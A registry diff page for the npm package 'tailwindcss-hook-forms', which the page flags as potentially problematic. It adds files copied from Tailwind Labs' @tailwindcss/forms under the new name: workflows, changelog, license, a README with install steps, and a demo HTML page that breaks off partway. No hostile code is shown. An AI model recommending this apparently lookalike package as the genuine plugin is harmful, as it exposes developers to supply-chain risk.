tailwindcss-hook-forms 0.0.0-stage → 0.5.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of tailwindcss-hook-forms might be problematic. Click here for more details.

@@ -0,0 +1,38 @@
1
+ name: Bug Report
2
+ description: Create a bug report for @tailwindcss/forms.
3
+ labels: []
4
+ body:
5
+ - type: input
6
+ attributes:
7
+ label: What version of @tailwindcss/forms are you using?
8
+ description: 'For example: v0.1.4'
9
+ validations:
10
+ required: true
11
+ - type: input
12
+ attributes:
13
+ label: What version of Node.js are you using?
14
+ description: 'For example: v12.0.0'
15
+ validations:
16
+ required: true
17
+ - type: input
18
+ attributes:
19
+ label: What browser are you using?
20
+ description: 'For example: Chrome, Safari, or N/A'
21
+ validations:
22
+ required: true
23
+ - type: input
24
+ attributes:
25
+ label: What operating system are you using?
26
+ description: 'For example: macOS, Windows'
27
+ validations:
28
+ required: true
29
+ - type: input
30
+ attributes:
31
+ label: Reproduction repository
32
+ description: A public GitHub repo that includes a minimal reproduction of the bug. Unfortunately we can't provide support without a reproduction, and your issue will be closed and locked with no comment if this is not provided.
33
+ validations:
34
+ required: true
35
+ - type: textarea
36
+ attributes:
37
+ label: Describe your issue
38
+ description: Describe the problem you're seeing, any important steps to reproduce and what behavior you expect instead
@@ -0,0 +1,11 @@
1
+ blank_issues_enabled: false
2
+ contact_links:
3
+ - name: Feature Request
4
+ url: https://github.com/tailwindlabs/tailwindcss/discussions/new?category=ideas
5
+ about: 'Suggest any ideas you have using our discussion forums.'
6
+ - name: Help
7
+ url: https://github.com/tailwindlabs/tailwindcss/discussions/new?category=help
8
+ about: 'If you have a question or need help, ask a question on the discussion forums.'
9
+ - name: Kind Words
10
+ url: https://github.com/tailwindlabs/tailwindcss/discussions/new?category=kind-words
11
+ about: "Have something nice to say about @tailwindcss/forms or Tailwind CSS in general? We'd love to hear it!"
@@ -0,0 +1,56 @@
1
+ name: Prepare Release
2
+
3
+ on:
4
+ workflow_dispatch:
5
+ push:
6
+ tags:
7
+ - 'v*'
8
+
9
+ permissions:
10
+ contents: read
11
+
12
+ jobs:
13
+ prepare:
14
+ permissions:
15
+ contents: write # for softprops/action-gh-release to create GitHub release
16
+
17
+ runs-on: ubuntu-latest
18
+
19
+ strategy:
20
+ matrix:
21
+ node-version: [22]
22
+
23
+ steps:
24
+ - uses: actions/checkout@v4
25
+
26
+ - name: Use Node.js ${{ matrix.node-version }}
27
+ uses: actions/setup-node@v4
28
+ with:
29
+ node-version: ${{ matrix.node-version }}
30
+ registry-url: 'https://registry.npmjs.org'
31
+ cache: 'npm'
32
+
33
+ - name: Install dependencies
34
+ run: npm install
35
+
36
+ - name: Test
37
+ run: npm test
38
+
39
+ - name: Resolve version
40
+ id: vars
41
+ run: |
42
+ echo "TAG_NAME=$(git describe --tags --abbrev=0)" >> $GITHUB_ENV
43
+
44
+ - name: Get release notes
45
+ run: |
46
+ RELEASE_NOTES=$(npm run release-notes --silent)
47
+ echo "RELEASE_NOTES<<EOF" >> $GITHUB_ENV
48
+ echo "$RELEASE_NOTES" >> $GITHUB_ENV
49
+ echo "EOF" >> $GITHUB_ENV
50
+
51
+ - name: Release
52
+ uses: softprops/action-gh-release@v1
53
+ with:
54
+ draft: true
55
+ tag_name: ${{ env.TAG_NAME }}
56
+ body: ${{ env.RELEASE_NOTES }}
@@ -0,0 +1,42 @@
1
+ name: Release Insiders
2
+
3
+ on:
4
+ push:
5
+ branches: [main]
6
+
7
+ permissions:
8
+ contents: read
9
+ id-token: write
10
+
11
+ jobs:
12
+ build:
13
+ runs-on: ubuntu-latest
14
+
15
+ strategy:
16
+ matrix:
17
+ node-version: [22]
18
+
19
+ steps:
20
+ - uses: actions/checkout@v4
21
+
22
+ - name: Use Node.js ${{ matrix.node-version }}
23
+ uses: actions/setup-node@v4
24
+ with:
25
+ node-version: ${{ matrix.node-version }}
26
+ registry-url: 'https://registry.npmjs.org'
27
+ cache: 'npm'
28
+
29
+ - name: Install dependencies
30
+ run: npm install
31
+
32
+ - name: Resolve version
33
+ id: vars
34
+ run: echo "::set-output name=sha_short::$(git rev-parse --short HEAD)"
35
+
36
+ - name: 'Version based on commit: 0.0.0-insiders.${{ steps.vars.outputs.sha_short }}'
37
+ run: npm version 0.0.0-insiders.${{ steps.vars.outputs.sha_short }} --force --no-git-tag-version
38
+
39
+ - name: Publish
40
+ run: npm publish --provenance --tag insiders
41
+ env:
42
+ NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}
@@ -0,0 +1,42 @@
1
+ name: Release
2
+
3
+ on:
4
+ release:
5
+ types: [published]
6
+
7
+ permissions:
8
+ contents: read
9
+ id-token: write
10
+
11
+ jobs:
12
+ build:
13
+ runs-on: ubuntu-latest
14
+
15
+ strategy:
16
+ matrix:
17
+ node-version: [22]
18
+
19
+ steps:
20
+ - uses: actions/checkout@v4
21
+
22
+ - name: Use Node.js ${{ matrix.node-version }}
23
+ uses: actions/setup-node@v4
24
+ with:
25
+ node-version: ${{ matrix.node-version }}
26
+ registry-url: 'https://registry.npmjs.org'
27
+ cache: 'npm'
28
+
29
+ - name: Install dependencies
30
+ run: npm install
31
+
32
+ - name: Test
33
+ run: npm test
34
+
35
+ - name: Calculate environment variables
36
+ run: |
37
+ echo "RELEASE_CHANNEL=$(npm run release-channel --silent)" >> $GITHUB_ENV
38
+
39
+ - name: Publish
40
+ run: npm publish --provenance --tag ${{ env.RELEASE_CHANNEL }}
41
+ env:
42
+ NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}
package/CHANGELOG.md ADDED
@@ -0,0 +1,201 @@
1
+ # Changelog
2
+
3
+ All notable changes to this project will be documented in this file.
4
+
5
+ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
6
+ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
7
+
8
+ ## [Unreleased]
9
+
10
+ - Nothing yet!
11
+
12
+ ## [0.5.11] - 2025-12-17
13
+
14
+ ### Fixed
15
+
16
+ - Limit attribute rules to input and select elements ([#159](https://github.com/tailwindlabs/tailwindcss-forms/pull/159))
17
+
18
+ ## [0.5.10] - 2025-01-07
19
+
20
+ ### Fixed
21
+
22
+ - Support installing with beta versions of Tailwind CSS v4 ([#163](https://github.com/tailwindlabs/tailwindcss-forms/pull/163))
23
+
24
+ ## [0.5.9] - 2024-09-05
25
+
26
+ ### Fixed
27
+
28
+ - Fallback to static chevron color if theme is using variables ([#167](https://github.com/tailwindlabs/tailwindcss-forms/pull/167))
29
+
30
+ ## [0.5.8] - 2024-08-28
31
+
32
+ ### Fixed
33
+
34
+ - Support installing with alpha versions of Tailwind CSS v4 ([#163](https://github.com/tailwindlabs/tailwindcss-forms/pull/163))
35
+
36
+ ## [0.5.7] - 2023-11-10
37
+
38
+ ### Fixed
39
+
40
+ - Use normal `checkbox` and `radio` appearance in `forced-colors` mode ([#152](https://github.com/tailwindlabs/tailwindcss-forms/pull/152))
41
+
42
+ ## [0.5.6] - 2023-08-28
43
+
44
+ ### Fixed
45
+
46
+ - Fix date time bottom spacing on MacOS Safari ([#146](https://github.com/tailwindlabs/tailwindcss-forms/pull/146))
47
+
48
+ ## [0.5.5] - 2023-08-22
49
+
50
+ ### Fixed
51
+
52
+ - Fix text alignment on date and time inputs on iOS ([#144](https://github.com/tailwindlabs/tailwindcss-forms/pull/144))
53
+
54
+ ## [0.5.4] - 2023-07-13
55
+
56
+ ### Fixed
57
+
58
+ - Remove chevron for selects with a non-default size ([#137](https://github.com/tailwindlabs/tailwindcss-forms/pull/137))
59
+ - Allow for <input> without `type` ([#141](https://github.com/tailwindlabs/tailwindcss-forms/pull/141))
60
+
61
+ ## [0.5.3] - 2022-09-02
62
+
63
+ ### Fixed
64
+
65
+ - Update TypeScript types ([#126](https://github.com/tailwindlabs/tailwindcss-forms/pull/126))
66
+
67
+ ## [0.5.2] - 2022-05-18
68
+
69
+ ### Added
70
+
71
+ - Add TypeScript type declarations ([#118](https://github.com/tailwindlabs/tailwindcss-forms/pull/118))
72
+
73
+ ## [0.5.1] - 2022-05-03
74
+
75
+ ### Fixed
76
+
77
+ - Remove duplicate `outline` property ([#116](https://github.com/tailwindlabs/tailwindcss-forms/pull/116))
78
+ - Fix autoprefixer warning about `color-adjust` ([#115](https://github.com/tailwindlabs/tailwindcss-forms/pull/115))
79
+
80
+ ## [0.5.0] - 2022-03-02
81
+
82
+ ### Changed
83
+
84
+ - Generate both global styles and classes by default ([#71](https://github.com/tailwindlabs/tailwindcss-forms/pull/71))
85
+
86
+ ## [0.4.1] - 2022-03-02
87
+
88
+ ### Added
89
+
90
+ - Remove `dist` folder and related dependencies ([#96](https://github.com/tailwindlabs/tailwindcss-forms/pull/96))
91
+
92
+ ### Fixed
93
+
94
+ - Use `addComponents` for class strategy ([#91](https://github.com/tailwindlabs/tailwindcss-forms/pull/91))
95
+ - Fix extra height on Safari date/time inputs ([#109](https://github.com/tailwindlabs/tailwindcss-forms/pull/109))
96
+
97
+ ## [0.4.0] - 2021-12-09
98
+
99
+ ### Changed
100
+
101
+ - Update color palette references for v3 ([#83](https://github.com/tailwindlabs/tailwindcss-forms/pull/83))
102
+ - Don't read outline.none value from config ([#89](https://github.com/tailwindlabs/tailwindcss-forms/pull/89))
103
+
104
+ ## [0.3.4] - 2021-09-28
105
+
106
+ ### Fixed
107
+
108
+ - Fix compatibility with `optimizeUniversalDefaults` experimental feature in Tailwind CSS v2.2 ([#81](https://github.com/tailwindlabs/tailwindcss-forms/pull/81))
109
+
110
+ ## [0.3.3] - 2021-06-03
111
+
112
+ ### Fixed
113
+
114
+ - Fix typo in selector when using `class` strategy that breaks background colors on checkboxes and radio buttons ([#72](https://github.com/tailwindlabs/tailwindcss-forms/pull/72))
115
+
116
+ ## [0.3.2] - 2021-03-26
117
+
118
+ ### Fixed
119
+
120
+ - Filter `null` rules for JIT compatibility ([b4c4e03](https://github.com/tailwindlabs/tailwindcss-forms/commit/b4c4e039337c3a5599f5b6d9eabbcc8ab9e8c8d9))
121
+
122
+ ## [0.3.1] - 2021-03-26
123
+
124
+ ### Fixed
125
+
126
+ - Use `base` as default strategy, not `class` ([#61](https://github.com/tailwindlabs/tailwindcss-forms/pull/61))
127
+
128
+ ## [0.3.0] - 2021-03-25
129
+
130
+ ### Added
131
+
132
+ - Add `class` strategy for you babies and your custom select and date picker libraries ;) ([#39](https://github.com/tailwindlabs/tailwindcss-forms/pull/39))
133
+
134
+ ## [0.2.1] - 2020-11-17
135
+
136
+ ### Fixed
137
+
138
+ - Fix issue where default checkbox/radio border color took precedence over user border color on focus ([d0b9fd9](https://github.com/tailwindlabs/tailwindcss-forms/commit/d0b9fd9))
139
+
140
+ ## [0.2.0] - 2020-11-16
141
+
142
+ ### Changed
143
+
144
+ - Update form styles to be less opinionated and encourage custom styling ([3288709](https://github.com/tailwindlabs/tailwindcss-forms/commit/3288709b59f4101511ec19f30cb2dafe7738251e))
145
+ - Update custom property names to match namespaced variables in Tailwind CSS v2.0 ([adb9807](https://github.com/tailwindlabs/tailwindcss-forms/commit/adb98078fc830d0416cb5ea2c895e997d5f0a5ec), [bbd8510](https://github.com/tailwindlabs/tailwindcss-forms/commit/bbd85102ef4a402b3c39d997c025208a33694cc4))
146
+
147
+ ## [0.1.4] - 2020-11-12
148
+
149
+ ### Fixed
150
+
151
+ - Fix SVG background images not rendering properly in all browsers ([#5](https://github.com/tailwindlabs/tailwindcss-forms/pull/5))
152
+
153
+ ## [0.1.3] - 2020-11-12
154
+
155
+ ### Changed
156
+
157
+ - Update focus styles to account for changes to `ring` API in latest Tailwind CSS 2.0 alpha ([5c16689](https://github.com/tailwindlabs/tailwindcss-forms/commit/5c166896b06475832bd8364f9f3ef5c4baec585f))
158
+
159
+ ## [0.1.2] - 2020-11-11
160
+
161
+ ### Fixed
162
+
163
+ - Work around iOS Safari bug that causes date inputs to render with no height when empty ([b98365b](https://github.com/tailwindlabs/tailwindcss-forms/commit/b98365b903b586bfbe7a6ae745ba64b5d87e23e3))
164
+
165
+ ## [0.1.1] - 2020-11-11
166
+
167
+ ### Changed
168
+
169
+ - Move `tailwindcss` to dependencies, hoping to get it working with Tailwind Play ([d625ea1](https://github.com/tailwindlabs/tailwindcss-forms/commit/d625ea11bd111a4d8cde937e36f3d229ecdf7c6a))
170
+
171
+ ## [0.1.0] - 2020-11-11
172
+
173
+ Initial release!
174
+
175
+ [unreleased]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.5.11...HEAD
176
+ [0.5.11]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.5.10...v0.5.11
177
+ [0.5.10]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.5.9...v0.5.10
178
+ [0.5.9]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.5.8...v0.5.9
179
+ [0.5.8]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.5.7...v0.5.8
180
+ [0.5.7]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.5.6...v0.5.7
181
+ [0.5.6]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.5.5...v0.5.6
182
+ [0.5.5]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.5.4...v0.5.5
183
+ [0.5.4]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.5.3...v0.5.4
184
+ [0.5.3]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.5.2...v0.5.3
185
+ [0.5.2]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.5.1...v0.5.2
186
+ [0.5.1]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.5.0...v0.5.1
187
+ [0.5.0]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.4.1...v0.5.0
188
+ [0.4.1]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.4.0...v0.4.1
189
+ [0.4.0]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.3.3...v0.4.0
190
+ [0.3.4]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.3.3...v0.3.4
191
+ [0.3.3]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.3.2...v0.3.3
192
+ [0.3.2]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.3.1...v0.3.2
193
+ [0.3.1]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.3.0...v0.3.1
194
+ [0.3.0]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.2.1...v0.3.0
195
+ [0.2.1]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.2.0...v0.2.1
196
+ [0.2.0]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.1.4...v0.2.0
197
+ [0.1.4]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.1.3...v0.1.4
198
+ [0.1.3]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.1.2...v0.1.3
199
+ [0.1.2]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.1.1...v0.1.2
200
+ [0.1.1]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.1.0...v0.1.1
201
+ [0.1.0]: https://github.com/tailwindlabs/tailwindcss-forms/releases/tag/v0.1.0
package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) Tailwind Labs, Inc.
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md CHANGED
@@ -1,3 +1,142 @@
1
- # Temporary Holding Version
1
+ # tailwindcss-hook-forms
2
2
 
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.
3
+ A plugin that provides a basic reset for form styles that makes form elements easy to override with utilities.
4
+
5
+ ## Installation
6
+
7
+ Install the plugin from npm:
8
+
9
+ ```sh
10
+ npm install -D tailwindcss-hook-forms
11
+ ```
12
+
13
+ Then, when using Tailwind CSS v4, add the plugin to your main stylesheet:
14
+
15
+ ```css
16
+ /* app.css */
17
+ @import "tailwindcss";
18
+ @plugin "tailwindcss-hook-forms";
19
+ ```
20
+
21
+ If you are still using **Tailwind CSS v3**, add the plugin to your `tailwind.config.js` file:
22
+
23
+ ```js
24
+ // tailwind.config.js
25
+ module.exports = {
26
+ theme: {
27
+ // ...
28
+ },
29
+ plugins: [
30
+ require('tailwindcss-hook-forms'),
31
+ // ...
32
+ ],
33
+ }
34
+ ```
35
+
36
+ ## Basic usage
37
+
38
+ [**View the live demo**](https://tailwindcss-hook-forms.vercel.app/)
39
+
40
+ All of the basic form elements you use will now have some simple default styles that are easy to override with utilities.
41
+
42
+ Currently we add basic utility-friendly form styles for the following form element types:
43
+
44
+ - `input[type='text']`
45
+ - `input[type='password']`
46
+ - `input[type='email']`
47
+ - `input[type='number']`
48
+ - `input[type='url']`
49
+ - `input[type='date']`
50
+ - `input[type='datetime-local']`
51
+ - `input[type='month']`
52
+ - `input[type='week']`
53
+ - `input[type='time']`
54
+ - `input[type='search']`
55
+ - `input[type='tel']`
56
+ - `input[type='checkbox']`
57
+ - `input[type='radio']`
58
+ - `select`
59
+ - `select[multiple]`
60
+ - `textarea`
61
+
62
+ Every element has been normalized/reset to a simple visually consistent style that is easy to customize with utilities, even elements like `<select>` or `<input type="checkbox">` that normally need to be reset with `appearance: none` and customized using custom CSS:
63
+
64
+ ```html
65
+ <!-- You can actually customize padding on a select element now: -->
66
+ <select class="rounded-full px-4 py-3">
67
+ <!-- ... -->
68
+ </select>
69
+
70
+ <!-- Or change a checkbox color using text color utilities: -->
71
+ <input type="checkbox" class="rounded text-pink-500" />
72
+ ```
73
+
74
+ More customization examples and best practices coming soon.
75
+
76
+ ### Using classes to style
77
+
78
+ In addition to the global styles, we also generate a set of corresponding classes which can be used to explicitly apply the form styles to an element. This can be useful in situations where you need to make a non-form element, such as a `<div>`, look like a form element.
79
+
80
+ ```html
81
+ <input type="email" class="form-input rounded-full px-4 py-3" />
82
+
83
+ <select class="form-select rounded-full px-4 py-3">
84
+ <!-- ... -->
85
+ </select>
86
+
87
+ <input type="checkbox" class="form-checkbox rounded text-pink-500" />
88
+ ```
89
+
90
+ Here is a complete table of the provided `form-*` classes for reference:
91
+
92
+ | Base | Class |
93
+ | ------------------------- | ------------------ |
94
+ | `[type='text']` | `form-input` |
95
+ | `[type='email']` | `form-input` |
96
+ | `[type='url']` | `form-input` |
97
+ | `[type='password']` | `form-input` |
98
+ | `[type='number']` | `form-input` |
99
+ | `[type='date']` | `form-input` |
100
+ | `[type='datetime-local']` | `form-input` |
101
+ | `[type='month']` | `form-input` |
102
+ | `[type='search']` | `form-input` |
103
+ | `[type='tel']` | `form-input` |
104
+ | `[type='time']` | `form-input` |
105
+ | `[type='week']` | `form-input` |
106
+ | `textarea` | `form-textarea` |
107
+ | `select` | `form-select` |
108
+ | `select[multiple]` | `form-multiselect` |
109
+ | `[type='checkbox']` | `form-checkbox` |
110
+ | `[type='radio']` | `form-radio` |
111
+
112
+ ### Using only global styles or only classes
113
+
114
+ Although we recommend thinking of this plugin as a "form reset" rather than a collection of form component styles, in some cases our default approach may be too heavy-handed, especially when integrating this plugin into existing projects.
115
+
116
+ If generating both the global (base) styles and classes doesn't work well with your project, you can use the `strategy` option to limit the plugin to just one of these approaches.
117
+
118
+ When using Tailwind CSS v4, configure the plugin in your main stylesheet:
119
+
120
+ ```css
121
+ /* app.css */
122
+ @plugin "tailwindcss-hook-forms" {
123
+ strategy: "base"; /* only generate global styles; or */
124
+ strategy: "class"; /* only generate classes */
125
+ }
126
+ ```
127
+
128
+ If you are still using **Tailwind CSS v3**, configure the plugin in your `tailwind.config.js` file:
129
+
130
+ ```js
131
+ // tailwind.config.js
132
+ plugins: [
133
+ require("tailwindcss-hook-forms")({
134
+ strategy: 'base', // only generate global styles
135
+ strategy: 'class', // only generate classes
136
+ }),
137
+ ],
138
+ ```
139
+
140
+ When using the `base` strategy, form elements are styled globally, and no `form-{name}` classes are generated.
141
+
142
+ When using the `class` strategy, form elements are not styled globally, and instead must be styled using the generated `form-{name}` classes.
package/index.html ADDED
@@ -0,0 +1,255 @@
1
+ <!doctype html>
2
+ <html lang="en">
3
+ <head>
4
+ <meta charset="UTF-8" />
5
+ <meta name="viewport" content="width=device-width, initial-scale=1.0" />
6
+ <title>@tailwindcss/forms examples</title>
7
+ <link rel="stylesheet" href="/dist/tailwind.css" />
8
+ </head>
9
+ <body>
10
+ <div class="px-6 text-gray-900 antialiased">
11
+ <div class="mx-auto max-w-xl divide-y py-12 md:max-w-4xl">
12
+ <div class="py-8">
13
+ <h1 class="text-4xl font-bold">@tailwindcss/forms examples</h1>
14
+ <p class="mt-2 text-lg text-gray-600">
15
+ An opinionated form reset designed to make form elements easy to style with utility
16
+ classes.
17
+ </p>
18
+ <div class="mt-4 flex space-x-4">
19
+ <a class="text-lg underline" href="https://github.com/tailwindlabs/tailwindcss-forms"
20
+ >Documentation</a
21
+ >
22
+ <a class="text-lg underline" href="/kitchen-sink.html">Kitchen Sink</a>
23
+ </div>
24
+ </div>
25
+ <div class="py-12">
26
+ <h2 class="text-2xl font-bold">Unstyled</h2>
27
+ <p class="mt-2 text-lg text-gray-600">This is how form elements look out of the box.</p>
28
+ <div class="mt-8 max-w-md">
29
+ <div class="grid grid-cols-1 gap-6">
30
+ <label class="block">
31
+ <span class="text-gray-700">Full name</span>
32
+ <input type="text" class="mt-1 block w-full" placeholder="" />
33
+ </label>
34
+ <label class="block">
35
+ <span class="text-gray-700">Email address</span>
36
+ <input type="email" class="mt-1 block w-full" placeholder="john@example.com" />
37
+ </label>
38
+ <label class="block">
39
+ <span class="text-gray-700">When is your event?</span>
40
+ <input type="date" class="mt-1 block w-full" />
41
+ </label>
42
+ <label class="block">
43
+ <span class="text-gray-700">What type of event is it?</span>
44
+ <select class="mt-1 block w-full">
45
+ <option>Corporate event</option>
46
+ <option>Wedding</option>
47
+ <option>Birthday</option>
48
+ <option>Other</option>
49
+ </select>
50
+ </label>
51
+ <label class="block">
52
+ <span class="text-gray-700">Additional details</span>
53
+ <textarea class="mt-1 block w-full" rows="3"></textarea>
54
+ </label>
55
+ <div class="block">
56
+ <div class="mt-2">
57
+ <div>
58
+ <label class="inline-flex items-center">
59
+ <input type="checkbox" checked />
60
+ <span class="ml-2">Email me news and special offers</span>
61
+ </label>
62
+ </div>
63
+ </div>
64
+ </div>
65
+ </div>
66
+ </div>
67
+ </div>
68
+ <div class="py-12">
69
+ <h2 class="text-2xl font-bold">Simple</h2>
70
+ <div class="mt-8 max-w-md">
71
+ <div class="grid grid-cols-1 gap-6">
72
+ <label class="block">
73
+ <span class="text-gray-700">Full name</span>
74
+ <input
75
+ type="text"
76
+ class="mt-1 block w-full rounded-md border-gray-300 shadow-sm focus:border-indigo-300 focus:ring focus:ring-indigo-200 focus:ring-opacity-50"
77
+ placeholder=""
78
+ />
79
+ </label>
80
+ <label class="block">
81
+ <span class="text-gray-700">Email address</span>
82
+ <input
83
+ type="email"
84
+ class="mt-1 block w-full rounded-md border-gray-300 shadow-sm focus:border-indigo-300 focus:ring focus:ring-indigo-200 focus:ring-opacity-50"
85
+ placeholder="john@example.com"
86
+ />
87
+ </label>
88
+ <label class="block">
89
+ <span class="text-gray-700">When is your event?</span>
90
+ <input
91
+ type="date"
92
+ class="mt-1 block w-full rounded-md border-gray-300 shadow-sm focus:border-indigo-300 focus:ring focus:ring-indigo-200 focus:ring-opacity-50"
93
+ />
94
+ </label>
95
+ <label class="block">
96
+ <span class="text-gray-700">What type of event is it?</span>
97
+ <select
98
+ class="mt-1 block w-full rounded-md border-gray-300 shadow-sm focus:border-indigo-300 focus:ring focus:ring-indigo-200 focus:ring-opacity-50"
99
+ >
100
+ <option>Corporate event</option>
101
+ <option>Wedding</option>
102
+ <option>Birthday</option>
103
+ <option>Other</option>
104
+ </select>
105
+ </label>
106
+ <label class="block">
107
+ <span class="text-gray-700">Additional details</span>
108
+ <textarea
109
+ class="mt-1 block w-full rounded-md border-gray-300 shadow-sm focus:border-indigo-300 focus:ring focus:ring-indigo-200 focus:ring-opacity-50"
110
+ rows="3"
111
+ ></textarea>
112
+ </label>
113
+ <div class="block">
114
+ <div class="mt-2">
115
+ <div>
116
+ <label class="inline-flex items-center">
117
+ <input
118
+ type="checkbox"
119
+ class="rounded border-gray-300 text-indigo-600 shadow-sm focus:border-indigo-300 focus:ring focus:ring-indigo-200 focus:ring-opacity-50 focus:ring-offset-0"
120
+ checked
121
+ />
122
+ <span class="ml-2">Email me news and special offers</span>
123
+ </label>
124
+ </div>
125
+ </div>
126
+ </div>
127
+ </div>
128
+ </div>
129
+ </div>
130
+ <div class="py-12">
131
+ <h2 class="text-2xl font-bold">Underline</h2>
132
+ <div class="mt-8 max-w-md">
133
+ <div class="grid grid-cols-1 gap-6">
134
+ <label class="block">
135
+ <span class="text-gray-700">Full name</span>
136
+ <input
137
+ type="text"
138
+ class="mt-0 block w-full border-0 border-b-2 border-gray-200 px-0.5 focus:border-black focus:ring-0"
139
+ placeholder=""
140
+ />
141
+ </label>
142
+ <label class="block">
143
+ <span class="text-gray-700">Email address</span>
144
+ <input
145
+ type="email"
146
+ class="mt-0 block w-full border-0 border-b-2 border-gray-200 px-0.5 focus:border-black focus:ring-0"
147
+ placeholder="john@example.com"
148
+ />
149
+ </label>
150
+ <label class="block">
151
+ <span class="text-gray-700">When is your event?</span>
152
+ <input
153
+ type="date"
154
+ class="mt-0 block w-full border-0 border-b-2 border-gray-200 px-0.5 focus:border-black focus:ring-0"
155
+ />
156
+ </label>
157
+ <label class="block">
158
+ <span class="text-gray-700">What type of event is it?</span>
159
+ <select
160
+ class="mt-0 block w-full border-0 border-b-2 border-gray-200 pl-0.5 pr-10 focus:border-black focus:ring-0"
161
+ >
162
+ <option>Corporate event</option>
163
+ <option>Wedding</option>
164
+ <option>Birthday</option>
165
+ <option>Other</option>
166
+ </select>
167
+ </label>
168
+ <label class="block">
169
+ <span class="text-gray-700">Additional details</span>
170
+ <textarea
171
+ class="mt-0 block w-full border-0 border-b-2 border-gray-200 px-0.5 focus:border-black focus:ring-0"
172
+ rows="2"
173
+ ></textarea>
174
+ </label>
175
+ <div class="block">
176
+ <div class="mt-2">
177
+ <div>
178
+ <label class="inline-flex items-center">
179
+ <input
180
+ type="checkbox"
181
+ class="border-2 border-gray-300 text-black focus:border-gray-300 focus:ring-black"
182
+ />
183
+ <span class="ml-2">Email me news and special offers</span>
184
+ </label>
185
+ </div>
186
+ </div>
187
+ </div>
188
+ </div>
189
+ </div>
190
+ </div>
191
+ <div class="py-12">
192
+ <h2 class="text-2xl font-bold">Solid</h2>
193
+ <div class="mt-8 max-w-md">
194
+ <div class="grid grid-cols-1 gap-6">
195
+ <label class="block">
196
+ <span class="text-gray-700">Full name</span>
197
+ <input
198
+ type="text"
199
+ class="mt-1 block w-full rounded-md border-transparent bg-gray-100 focus:border-gray-500 focus:bg-white focus:ring-0"
200
+ placeholder=""
201
+ />
202
+ </label>
203
+ <label class="block">
204
+ <span class="text-gray-700">Email address</span>
205
+ <input
206
+ type="email"
207
+ class="mt-1 block w-full rounded-md border-transparent bg-gray-100 focus:border-gray-500 focus:bg-white focus:ring-0"
208
+ placeholder="john@example.com"
209
+ />
210
+ </label>
211
+ <label class="block">
212
+ <span class="text-gray-700">When is your event?</span>
213
+ <input
214
+ type="date"
215
+ class="mt-1 block w-full rounded-md border-transparent bg-gray-100 focus:border-gray-500 focus:bg-white focus:ring-0"
216
+ />
217
+ </label>
218
+ <label class="block">
219
+ <span class="text-gray-700">What type of event is it?</span>
220
+ <select
221
+ class="mt-1 block w-full rounded-md border-transparent bg-gray-100 focus:border-gray-500 focus:bg-white focus:ring-0"
222
+ >
223
+ <option>Corporate event</option>
224
+ <option>Wedding</option>
225
+ <option>Birthday</option>
226
+ <option>Other</option>
227
+ </select>
228
+ </label>
229
+ <label class="block">
230
+ <span class="text-gray-700">Additional details</span>
231
+ <textarea
232
+ class="mt-1 block w-full rounded-md border-transparent bg-gray-100 focus:border-gray-500 focus:bg-white focus:ring-0"
233
+ rows="3"
234
+ ></textarea>
235
+ </label>
236
+ <div class="block">
237
+ <div class="mt-2">
238
+ <div>
239
+ <label class="inline-flex items-center">
240
+ <input
241
+ type="checkbox"
242
+ class="rounded border-transparent bg-gray-200 text-gray-700 focus:border-transparent focus:bg-gray-200 focus:ring-1 focus:ring-gray-500 focus:ring-offset-2"
243
+ />
244
+ <span class="ml-2">Email me news and special offers</span>
245
+ </label>
246
+ </div>
247
+ </div>
248
+ </div>
249
+ </div>
250
+ </div>
251
+ </div>
252
+ </div>
253
